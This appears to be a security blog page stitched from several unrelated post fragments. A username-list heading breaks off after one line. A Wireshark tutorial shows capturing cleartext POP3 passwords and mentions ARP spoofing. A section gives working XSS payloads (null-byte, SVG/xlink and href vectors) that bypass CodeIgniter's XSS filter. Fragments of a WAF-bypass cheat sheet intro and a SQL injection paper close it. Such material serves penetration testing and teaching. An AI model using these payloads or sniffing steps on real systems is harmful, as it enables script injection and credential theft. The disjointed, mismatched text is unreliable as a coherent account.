Creating custom username list & wordlist for bruteforciing.

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;">During brute-forcing every time you need custom  password list & username list. Username list is as well as important as password list, it should be unique for every organization.If we use traditional large number of username list , then it will be tedious process.Custom username list also useful in <a href="http://tipstrickshack.blogspot.com/2013/11/username-enumeration-in-mutillidae.html">username enumeration</a>.</div><h3 style="text-align: left;">Creating custom username list:-</h3><div style="text-align: left;"> (1)<a href="https://github.com/pentestgeek/jigsaw" target="_blank">Jigsaw</a>:-</div> During <a href="http://tipstrickshack.blogspot.com/search/label/Information%20Gathering">information gathering</a> stage , you may use jigsaw script.

What many do not know is that there are several ways to harness the potential of this tool and this is what this article aims at introducing the readers. We will learn to sniff the network effectively, create filters to find only the information we want, see it as a black hat would use this tool to steal passwords, and finally how to use WireShark to diagnose network problems or if a firewall is blocking packets correctly. <a name='more'></a> INTRODUCTION <div style="text-align: left;"> </div>     Today it is very unlikely that your password will be brute forced. You use the internet regularly and one day you're surprised to receive allegations of an intrusion. Evidence indicates that the intruders third party accounts departed from your account, and you have no idea what is happening. Someone may have made use of your account and performed such acts as you. How could this have happened? A strong possibility is that you have become the victim of an attack via "sniffer". <div style="text-align: left;">UNDERSTAND THE MAIN CONCEPT</div><div style="text-align: left;"> </div>     What are "sniffers"? The main purpose of a sniffer is to capture network traffic. They are used for network analysis purposes, however they can also be used by malicious hackers to capture your passwords, and even IDS systems are based on network sniffers.      These programs also allow you to monitor network activity recording data (usernames, passwords; ect.) each time they access other computers on the network.      These programs aim at monitoring ("sniffing") network traffic to capture access to network services, such as remote mail service (IMAP, POP3), remote access (telnet, rlogin, etc.), file transfer (FTP) etc.. accesses made, capturing packets. Always aimed at getting the most relevant information. When we called the HUB computer and send information from one computer to another, in reality this data is for all ports of the HUB, and therefore for all machines. It turns out that only the machine on which the information was intended to send the operating system.      If a sniffer were running on other computers, even without these systems sending data it travels there for the operating system, the sniffer will intercept at the network layer, capturing the data and displaying them to the user, in an unfriendly way. Generally the data is organized by type of protocol (TCP, UDP, FTP, ICMP, etc...) and each package read may have show your content. <div style="text-align: left;">YOUR PASSWORD CAN BE CAPTURED BY SNIFFERS!</div><div style="text-align: left;"> </div>     Many local area networks (LANs) are configured sharing the same Ethernet segment. Virtually any computer of the network can run a "sniffer" program to "steal" users passwords. "Sniffers" work monitoring the flow of communication between computers on the network to find out when someone uses the network services previously mentioned. Each of these services uses a protocol that defines how a session is established, such as your account is identified and authenticated and how to use the service.      To have access to these services, you first have to have a "log in". The login sequence - is part of the authentication protocol, which occurs at the beginning of each session - the "sniffers" are concerned about this, because it is this part that is your password. Therefore, it is only the filter "strings" keys that the password is obtained. <div style="text-align: left;">STEP BY STEP</div>      Currently, almost all environments use switches and not hubs, which makes sniffing a little more difficult because the switches do not send the data to all ports as a hub does, it sends directly to the port where the host destination is. So if you try to sniff a network switch you will only hear what is broadcast, or its own connection. To be able to hear everything without being the gateway of the network, an ARP spoof attack (aka ARP poisoning) is necessary, or burst the CAM table of the switch. Basic Usage      Now let's get our hands dirty: I'm assuming you already have the program (WireShark) installed, if you do not then download it. When starting WireShark, the displayed screen will look something like Figure 1: <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihJuTJEl5kMHMRRO5NFTISnSTUkZ0LTkMJwRiLrwWrjWpr4mOGC6pEkRhlb3eSSRihGtPgAECxVUZWZOqIa-5PvUJPBoyFOvbX7qOrC9CgOOz0P5bAdp1nmeXLiXGHaIkLekaNrQpugRg/s1600/untitled1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihJuTJEl5kMHMRRO5NFTISnSTUkZ0LTkMJwRiLrwWrjWpr4mOGC6pEkRhlb3eSSRihGtPgAECxVUZWZOqIa-5PvUJPBoyFOvbX7qOrC9CgOOz0P5bAdp1nmeXLiXGHaIkLekaNrQpugRg/s640/untitled1.JPG" width="577" /></a></div> Figure 1) Wireshark.      Before you can start capturing packets, we have to define which interface will "listen" to the traffic.

Will look something like the figure 4: <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkGaOXotlRNWA5OtNpJ82NjZV0TztUKGX0XXg3KzmxstVkH4rAxtPuKfIRJgYaU6nQstds8S4Ztioq5mQycPkOpMOPjitRwjUPzJG7gmqNZ7ZPv1IcHKLJknyK8orYvx5qCx5VENkjelg/s1600/untitled4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="321" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkGaOXotlRNWA5OtNpJ82NjZV0TztUKGX0XXg3KzmxstVkH4rAxtPuKfIRJgYaU6nQstds8S4Ztioq5mQycPkOpMOPjitRwjUPzJG7gmqNZ7ZPv1IcHKLJknyK8orYvx5qCx5VENkjelg/s640/untitled4.JPG" width="577" /></a></div> Figure 4) Capturing.      To stop the capture, simply click the button, "Stop the running live capture". <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvSczTWHuAVuUWNWVXSmUWTnbdHoqPm6kRcyQpgdfbei2owKqX6WRYcXKVeaDJ3FfbKzzPtJdeDJua6z0-xVvF4fPkffjzSCfDyYvvw5kd8xBXDCCFmJ1Lfb5B5tKAjrMDdtu7ygx7ZLI/s1600/untitled5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="323" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvSczTWHuAVuUWNWVXSmUWTnbdHoqPm6kRcyQpgdfbei2owKqX6WRYcXKVeaDJ3FfbKzzPtJdeDJua6z0-xVvF4fPkffjzSCfDyYvvw5kd8xBXDCCFmJ1Lfb5B5tKAjrMDdtu7ygx7ZLI/s640/untitled5.JPG" width="577" /></a></div> Figure 5) Stop.      It is important to remember that you must take care if your network is busy, the data stream may even lock your machine, then it is not advisable to leave the WireShark to capture for a long time, as we will see, we will leave it running only during the process to debug a connection. The greater the amount of packets, the longer it takes to apply a filter, find a package, etc.      With this we have the basics of the program, we can set the capture interface, start and stop the capture. The next step is to identify what interests among many packages. For this, we will start using filters. Using Filters      There are a plethora of possible filters, but at this moment we will see just how to filter by IP address, port and protocol. The filters can be constructed by clicking on "Filter", then selecting the desired filter (there is a short list of pre-defined filters), or by typing directly into the text box. After you create your filter, just click "Apply", if you wanted to see the entire list of packages again just click "Clear", this will remove the filter previously applied. <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyIzVMIsAeOCglm2_jvRzqCsTb2CmLvFUx7nKZa-2GqYOiHx7OwXsXhaKeO6Tl3AwuWQNpW6vm51WN6RHNkqdZqPJFqirH7Q9cXKyTY9cAYuwB999fKGwXEtS8CyzuK5UmJa31S7vzExQ/s1600/untitled6.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="323" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyIzVMIsAeOCglm2_jvRzqCsTb2CmLvFUx7nKZa-2GqYOiHx7OwXsXhaKeO6Tl3AwuWQNpW6vm51WN6RHNkqdZqPJFqirH7Q9cXKyTY9cAYuwB999fKGwXEtS8CyzuK5UmJa31S7vzExQ/s640/untitled6.JPG" width="577" /></a></div> Figure 6) Filter.      I will use a small filter list as an example: <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiALcFIqbJyz8ZCst4arF-_x1aWXkefOfYFGhWrj7anoWoKdgPFDN7mlEWlTvwtr5YZr9R8BvPEmeu3a22cB4gfzZbo90tpWwYID6EHqSIizBOrSx8LOxAajUp_B89GtlVkvBvtCh9Xg84/s1600/untitled7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="568" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiALcFIqbJyz8ZCst4arF-_x1aWXkefOfYFGhWrj7anoWoKdgPFDN7mlEWlTvwtr5YZr9R8BvPEmeu3a22cB4gfzZbo90tpWwYID6EHqSIizBOrSx8LOxAajUp_B89GtlVkvBvtCh9Xg84/s640/untitled7.JPG" width="577" /></a></div> Figure 7) Example by Rafael Souza (RHA Infosec).      It is also possible to group the filters, for example: ip.src == 10.10.10.1 && tcp.dstport==80 OR ip.src == 10.10.10.1 and tcp.dstport==80 Source address 10.10.10.1  And destination port 80 <div style="text-align: left;">CAPTURING PASSWORDS</div>      Now we will see how you can capture passwords easily, just by listening to traffic. For this example we will use the POP3 protocol, which sends the data in clear text over the network. To do this, start capturing packets normally and start a session with your POP3 email server. If you use a safer protocol like IMPAPS or POP3 and I just wanted to see the functioning of the mechanism, it is possible to connect via telnet to POP3 without having to add / modify your account, simply run the following: telnet serveremail.com 110 user user@rhainfosec.com pass rhainfosecpasswd      Now stop the capture, filter and put "pop" and then click "Apply". now thats done, you see only the packets of POP3 connection. Now click on any of them right, and then click "Follow TCP Stream". <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZkF882RL-5uZJHUS3IwMYAXYZ_sUenMn-A7dFQh7ZGVpWJAY-4bvxYBuut2zGBqHdDY6VFOOlgqmG7J-j-yUlaI1DwpclsblX9cPiv7LPGiu-90wPJYEm-NC8p9IeSgyZoLYMNM0uMdA/s1600/untitled8.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZkF882RL-5uZJHUS3IwMYAXYZ_sUenMn-A7dFQh7ZGVpWJAY-4bvxYBuut2zGBqHdDY6VFOOlgqmG7J-j-yUlaI1DwpclsblX9cPiv7LPGiu-90wPJYEm-NC8p9IeSgyZoLYMNM0uMdA/s640/untitled8.JPG" width="577" /></a></div> Figure POP3.      With this we will open a new window with the entire contents of the ASCII connection.

Just to let you change the filter and examine the contents of the connection. Importing External Captures      Usually in servers, there is no graphical environment installed and with that you cannot use WireShark directly. If you want to analyze traffic on this server and you cannot install WireShark, so you have to capture this traffic elsewhere, the best one can do is write traffic with TCPdump locally and then copy this dump to a machine with WireShark from where a more detailed analysis is made.      We will capture everything that comes and goes from the host 10.10.10.1 with destination port 80 and save content in capturerafaelsouzarhainfosec.pcap file from the local folder where the command was executed. Run the server: tcpdump -i eth0 host 10.10.10.1 and dst  port 80 -w  capturerafaelsouzarhainfosec.pcap      Once you're finished capturing, simply use CTRL + C to copy the file to the machine WireShark capture and import by clicking on File -> Import. Once imported, you can use the program normally as if the capture had occurred locally. EVOLUTION OF THINKING Why steal your password?      There are various reasons that lead people to steal passwords from simply to annoy someone (sending email as you) up to perform illegal activities (invasion on other computers, theft of information, etc.) An attraction to crackers is the ability to use the identity of others in these activities.      One of the main reasons that attackers try to break systems and install "sniffers" is the ability to quickly capture the maximum number accounts. Thus, the more accounts this attacker has , the easier it is to hide your stash. How can you protect yourself?      Do not think that "sniffers" can make all the whole internet insecure. It is not so. You need to be aware of where the risk is , when you're at risk and what to do to be safe .      When you have your credit card stolen or suspect that someone may be using it improperly, you cancel the card. Likewise, as passwords can be stolen, it's critical that you replace it regularly. This precaution limites the amount of time that a stolen password can be used by an attacker.      Never share your password with others. This sharing makes it difficult to know where your password is being used (exposed) and is harder to detect unauthorized use. A password is like a tooth brush never share it and change it regularly.      Never give your password to anyone that is claiming they need access to fix your account problem or wanting to investigate the breach of a system. This trick is one of the most effective methods of hacking, known as "social engineering." Use networks you can trust      Another aspect you should take into consideration is what network you can trust and which you cannot. If you are traveling and need to access an organizations computer remotely have a great level of assurance that the network is secure. For example, pick any file in your home directory that you share is it available to a "LanHouse" or network of another organization . Are you sure you can trust the network?      If you have no alternative for secure remote access and only have available resources such as telnet, for example, you can "mitigate" this effect by changing the password at the end of each session. Remember that only the first packet (200-300 bytes)of each session carry information from your "login". Therefore, to always change your password before logging out, this will not be captured and password before it that were exposed to the network are no longer valid. Of course it is possible to capture everything going across the network, but the attacker has no intention of filling their file system quickly and becoming so easily discovered. Why are networks so vulnerable to "sniffers"?      There are several reasons and there is no quick solution to the problem.      Part of the problem is that companies tend to invest in more new features rather than add security. New security features can create the most difficult systems to configure and less convenient to use. Remember companies try to adhere to the C.I.A. triangle (confidentiality, integrity, and availability). New features create unintended effects on availability when this happens policy is overlooked creating a new vulnerability in itself.      Another part of the problem is related to added costs for Ethernet switches, hubs, network interfaces that do not support the particular "promiscuous" that sniffers can use. CONCLUSION      The question that remains is how can we protect ourselves from this threat... i) Network cards that cannot be put into "promiscuous" mode. Thus, computers cannot be mastered and transformed into "sniffers". ii) Typically, the Ethernet interface only passes packets to the highest level protocol that are intended for local machine. Switching this interface into promiscuous mode allows all packets that are accepted and passed to the higher layer of the protocol stack. This allows the selection you want. iii) Packages that encrypt data in transit over the network, thus avoiding to flow passwords "in the clear".      I would remind you that the safest thing to adopt and encourage the use of is software which enables remote access encrypted sessions, they help to make your environment much more secure.      One fairly common encryption technology currently in secure communication between remote machines SSH (Secure Shell). SSH is available for different platforms. Its use does not prevent the password captured, but as this is not an encrypted service to the attacker. SSH negotiates connections using RSA algorithm. Once the service is authenticated, all subsequent traffic is encrypted using IDEA technology. This type of encryption is very strong.      In the future, security will be increasingly intrinsic to the systems and infrastructure networks. No use having all the "apparatus" of security if you need, but do not use them. Security is not something that can be completely secure. Remember, no one is 100% secure.

The total downloads have surpassed a figure of 2500, which was quite amazing considering that i didn't expect it to escalate that quickly.  Recently, i had a chance to test Code Igniter's XSS clean function, as it relied upon blacklist it caught my interest. I was pleased that almost all the payloads/techniques that were used to bypass the "XSSCLEAN" function have been already documented inside our "XSS Filter Evasion Cheat Sheet". <a name='more'></a><h4>Vulnerability Details</h4>The test-bed i used was setup by @soaj1664ashar based upon the rules of the "XSS Clean" function inside of code igniter. <a href="http://xssplayground.net23.net/clean11.html">http://xssplayground.net23.net/clean11.html</a> I managed to find lots of bypasses, however couple of them collided with what @soaj1664ashar had already found before. Therefore, i thought to publish the ones that did not collide with his vectors. <h4>Bypass 1 - Null Bytes</h4>Internet explorer up to version 9, ignores null bytes every where. The XSSClean function was filtering for keywords like <script>, however it was not filtering out the null bytes. Therefore under Internet explorer 9 and below, the following is a valid vector executing javascript perfectly. <scr\x00ipt>confirm(1);</scr\x00ipt> <h4>Bypass 2 - SVG and XLINK</h4>The XSSCLEAN function was not filtering out the SVG tag and the xlink attribute. Along with it the XSSCLEAN function was also filtering out keywords such as javascript, vbscript etc. However this doesn't prevents us from executing javascript. protected function _js_link_removal($match) { //echo "in link removal"; return str_replace($match[1], preg_replace('#href=.*?(?:alert\(|alert&\#40;|javascript:|livescript:|mocha:|charset=|window\.|document\.|\.cookie|<script|<xss|data\s*:)#si', '', $this->_filter_attributes(str_replace(array('<', '>'), '', $match[1])) ), $match[0]); } The following payload manages to pass through the XSSCLEAN function of Codeigniter and yields a valid javascript: <svg xmlns:xlink=http://www.w3.org/1999/xlink><a><circle r=100 /><animate attributeName=xlink:href values=;javas&Tab;cript&colon;confirm&lpar;1&rpar; /> <h4>Bypass 3 - HREF</h4> Since, we were able bypass the blacklist that was looking for the keyword "javascript", we can use the href tag to execute valid javascript. <a/href=javas&Tab;cript&colon;confirm(top.location)>XSS There are countless other variations thought. <h4>Bypass 4 - Separators</h4>There are certain characters that get's parsed as whitespace characters, since the "Code Igniter" was not filtering out the space characters, they can be used to yield a valid javascript syntax inside various browsers. For more information on them, please refer to our "<a href="http://www.rafayhackingarticles.net/2013/12/bypassing-modern-wafs-xss-filters-cheat.html" target="_blank">XSS Filter Evasion Cheat Sheet</a>". <h4>More Bypasses</h4>Ashar javed found various bypasses for CodeIgniter, if you are interested in more bypasses, please refer the link below: <a href="https://github.com/EllisLab/CodeIgniter/issues/2667">https://github.com/EllisLab/CodeIgniter/issues/2667</a> </div>

Bypassing Modern WAF's XSS Filters - Cheat Sheet

I was particularly interested in writing security related stuff, let it be related to computer architecture, networks etc. However i found that lots of work has already been done on the architecture level security. Therefore, i convinced my teacher that i'll be writing on "Bypassing Modern Web Application Firewall's" as some of you might know that most of my research is related to client side vulnerabilities and bypassing WAF's. <a name='more'></a> In my day to day job as a penetration tester, it's very often that i encounter a web application firewall/filter that looks for malicious traffic inside the http request and filters it out, some of them are easy to break and some of them are very hard. However, in one or another context all the WAF's i have encountered are bypassable at some point. Rsnake's XSS cheat sheet was one of the best resources available for bypassing WAF's, however overtime as browsers got updated lots of the vectors didn't work on the newer browser. Therefore there was a need to create a new Cheat Sheet. Over time i have developed my own methodology for bypassing WAF's and that's what i have written the paper on. The paper talks specifically about bypassing XSS filters, as for SQLi, RCE etc. I thought to write a different paper as the techniques differ in many cases.   Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters <div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"><a href="http://www.mediafire.com/download/7a57hv5z25s58lh/WAF_Bypassing_By_RAFAYBALOCH.pdf" rel="nofollow" target="_blank"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUT9yOZytMK3BOGrWPawfZkfer8OF-xDcyd7YjWtkMTfCBtLXq5tYCg8UwCP6xelRLOidRpA1vlz-8Ev-M2GNiREj4xTv_0NjCuD43rcxxTbQ8CaHX5p10GL7Lw2ZMLZEXqXJN-u-j0R8/s320/Download-button.jpg" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"> </div> </div>

It is known that the impact of the change may provide unauthorized access to a restricted area, being imperceptible to the eye of an inexperienced developer, it may also allow the deletion of a table, compromising the entire application, among other features. So I want to emphasize that this paper is for security researchs and developers to beware and test your code. <h4 style="text-align: left;">CONCLUSION</h4>Many companies are providing important information on its website and database, information is the most valuable asset is intangible, the question is how developers are dealing with this huge responsibility? The challenge is to develop increasingly innovative sites, coupled with mechanisms that will provide security to users. The purpose of this paper is to present what is SQL Injection, how applications are explored and techniques for testing by allowing the developer to customize a system more robust and understand the vulnerability. <h4 style="text-align: left;">ABOUT THE AUTHOR:</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW20uw8T8ysccUKPby8pUltzOvGP9SFROKU-o2mqHEuxLw9FUwB3OsaAAr535b818hL9f3KxihgWtIlfaPNaruznzRxx3X9NVNlCf8tFj19pIEDs2NMnIO2nT2U4oBsNSY23ZIVvbJfVZo/s200/desouze.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW20uw8T8ysccUKPby8pUltzOvGP9SFROKU-o2mqHEuxLw9FUwB3OsaAAr535b818hL9f3KxihgWtIlfaPNaruznzRxx3X9NVNlCf8tFj19pIEDs2NMnIO2nT2U4oBsNSY23ZIVvbJfVZo/s200/desouze.jpg" /></a></div>This is a guest post written by , RAFAEL FONTES SOUZA.
